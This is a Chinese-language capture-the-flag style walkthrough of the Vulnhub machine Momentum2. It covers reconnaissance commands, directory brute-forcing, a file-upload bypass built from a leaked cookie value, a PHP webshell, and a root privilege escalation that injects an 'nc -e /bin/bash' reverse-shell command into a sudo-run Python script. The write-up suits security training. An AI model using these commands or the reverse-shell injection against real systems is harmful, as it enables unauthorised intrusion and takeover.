Vulnhub靶场实战:Momentum2渗透测试全解析
1. 环境准备与靶场搭建第一次接触Momentum2靶场时我花了不少时间在环境配置上。这个靶场官方推荐使用VirtualBox运行实测发现VMware可能会出现兼容性问题。下载地址直接访问Vulnhub官网搜索Momentum2就能找到OVA文件文件大小约1.2GB下载速度取决于你的网络环境。安装时有个小技巧导入OVA后建议将网络适配器设置为桥接模式这样能避免后续IP扫描时的麻烦。我遇到过NAT模式下扫描不到靶机的情况后来发现是VirtualBox的虚拟网络配置问题。启动后你会看到一个简单的登录界面这说明系统已经正常运行了。2. 信息收集实战技巧2.1 IP探测的三种方法常规的nmap -sP扫描确实能用但我更推荐组合使用这些命令arp-scan -l --interfaceeth0 netdiscover -i eth0 -r 192.168.1.0/24 ping -c 1 momentum2.local特别是当靶场设置了静态IP时arp-scan的准确率更高。有次测试发现靶机IP是192.168.56.102和常规网段完全不同这时候用netdiscover就特别管用。2.2 端口服务深度扫描除了基本的nmap -sV我习惯加上这些参数nmap -p- -sS -T4 -A -v -oA full_scan 10.0.2.251-A参数会启用OS检测和版本探测-T4加快扫描速度-oA则输出所有格式的报告。有一次扫描结果中80端口运行着Apache 2.4.3822端口是OpenSSH 7.9p1这些版本信息对后续漏洞利用很关键。3. Web渗透突破过程3.1 目录爆破的艺术原始文章提到了dirsearch但实际测试时我发现gobuster效果更好gobuster dir -u http://10.0.2.251 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt关键是要尝试不同的字典文件特别是当发现/dashboard.html这个上传页面时要立即检查是否存在.bak备份文件。我遇到过页面源代码看似空白但查看响应头却发现X-Powered-By: PHP/7.2.24的情况。3.2 文件上传漏洞利用突破上传限制的关键在于那个神秘的cookie值。通过分析ajax.php.bak发现需要构造特定格式的cookieCookie: adminG6uB6uDXMqMsR同时POST数据要包含secureval1d用Burp Suite爆破时记得设置Payload类型为Brute forcer字符集选择大写字母A-Z长度固定为1。成功上传PHP文件后用蚁剑连接时要注意URL要指向具体的shell文件路径。4. 权限提升完整路径4.1 SSH登录技巧在/home/athena目录找到的密码可能带有特殊字符建议先用cat -A查看真实内容。登录SSH时如果遇到权限问题可以尝试ssh -o PreferredAuthenticationspassword -o PubkeyAuthenticationno athena10.0.2.2514.2 Python脚本提权分析那个cookie-gen.py脚本其实是个伪随机数生成器关键在于种子可控导致命令注入。实际操作时这样利用sudo -u root /usr/bin/python3 /home/team-tasks/cookie-gen.py当提示输入seed时注入;nc -e /bin/bash 你的IP 端口;记得先在本地用nc -lvnp 端口监听。我测试时发现某些符号需要URL编码多试几次就能获得root shell。最后别忘了检查/root目录下的flag文件通常会有最终的目标信息。整个渗透过程中最耗时的往往是信息收集阶段有时候一个不起眼的备份文件可能就是突破点。建议每次测试都保持详细记录这对后续复盘和技能提升特别有帮助。